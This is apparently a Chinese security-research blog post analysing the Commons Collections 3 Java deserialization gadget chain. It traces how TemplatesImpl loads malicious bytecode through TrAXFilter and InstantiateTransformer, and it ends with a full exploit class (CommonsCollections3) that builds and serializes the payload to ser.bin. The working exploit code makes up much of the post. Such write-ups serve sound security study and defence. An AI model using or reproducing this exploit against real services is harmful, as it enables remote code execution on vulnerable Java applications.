利用条件
CommonsCollections 3.1 - 3.2.1版本
由于使用了 AnnotationInvocationHandler
类,JDK版本:JDK8u71及以下版本(之后版本已修复不可利用)
利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
newInstance()
Runtime.exec()
利用链分析
在CC1和CC6中我们使用 Transformer
类来调用 Runtime
类执行命令的,如果 Runtime
类或可执行命令的类被拉入黑名单禁止执行这条链就走不通了
那么就看下有哪些类有 defineClass()
方法,可以加载我们传入的字节码,这样我们就可以将恶意类转换成恶意字节码传入进去后生成恶意类,再看看哪些地方能够对这个恶意类进行初始化,这样我们就绕过了上面被禁止执行的尴尬局面了
// TemplatesImpl.java
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
在 TemplatesImpl
类中存在一个 default
修饰符的 defineClass()
方法,看看哪个地方调用了这个方法
// TemplatesImpl.java
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
...
}
private int _transletIndex = -1;
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
还是在这个类中的 defineTransletClasses()
方法中进行了调用,这里可以看到 _bytecodes
变量是不能为空的,再往后看发现通过 defineClass()
方法从字节码加载到的类的父类必须是 ABSTRACT_TRANSLET
常量,查看该常量为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果没有加载的类没有继承这个类则 _transletIndex
为0以上的值,到了后面就会抛异常了,因为 _transletIndex
变量默认值为 -1
,也就是说在我们写恶意类时必须继承 AbstractTranslet
类,_tfactory
变量也必须有值,否则在调用时会触发空指针错误,这个变量的值在 TemplatesImpl
类的 readObject()
方法中有进行初始化,值可以是 new TransformerFactoryImpl()
还是在这个类中 getTransletInstance()
方法调用了 defineTransletClasses()
方法,在这个方法中 _name
变量不能为空,_class
必须为空,否则调用不到 defineTransletClasses()
方法,到了后面就是对加载到的类进行初始化了
同样的,getTransletInstance()
方法也是在 TemplatesImpl
类中被 newTransformer()
方法调用的,接下来就是要找哪个类调用了 newTransformer()
方法,且是在该类的构造方法中进行调用的
那么,我们只需要调用 TrAXFilter
类的构造方法即可执行恶意代码,由于该类没有实现序列化接口,所以这里和CC1链一样需要使用 Transformer
链式调用才能绕过反序列化这个限制
到此我们知道怎么去利用字节码去加载类并初始化了,这条链我们就清楚了
这里,我们不再使用CC1中的 new InvokeTransformer()
的方法,而是找一种可以实例化对象可以调用该对象的构造方法的类
然后我们就找到了 InstantiateTransformer
这个类,该类构造函数接受一个Class数组参数类型和一个Object数组参数,其 transform()
方法就是获取了对象的构造器,并进行实例化,这里的 iParamTypes
和 iArgs
变量就是 TrAXFilter
类中构造方法中的参数类型和参数
那么这里就存在一个问题了,如何让 TrAXFilter
类作为对象传进来呢?没错,就是链式调用
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Field factory = TemplatesClass.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
这里就和CC1差不多,只不过我们把 new InvokeTransformer()
给换成了 new InstantiateTransformer()
,后面其实也是用的CC1的 LazyMap
链,和CC1那边就差不多了
利用链EXP编写
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, InstantiationException {
byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
"/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
Field factory = TemplatesClass.getDeclaredField("_tfactory");
factory.setAccessible(true);
factory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
Class invocationhandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = invocationhandlerClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(), lazymap.getClass().getInterfaces(), invocationHandler);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Target.class, proxyMap);
serialize(handler);
// deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/fcc9661c9ec3.html
Comments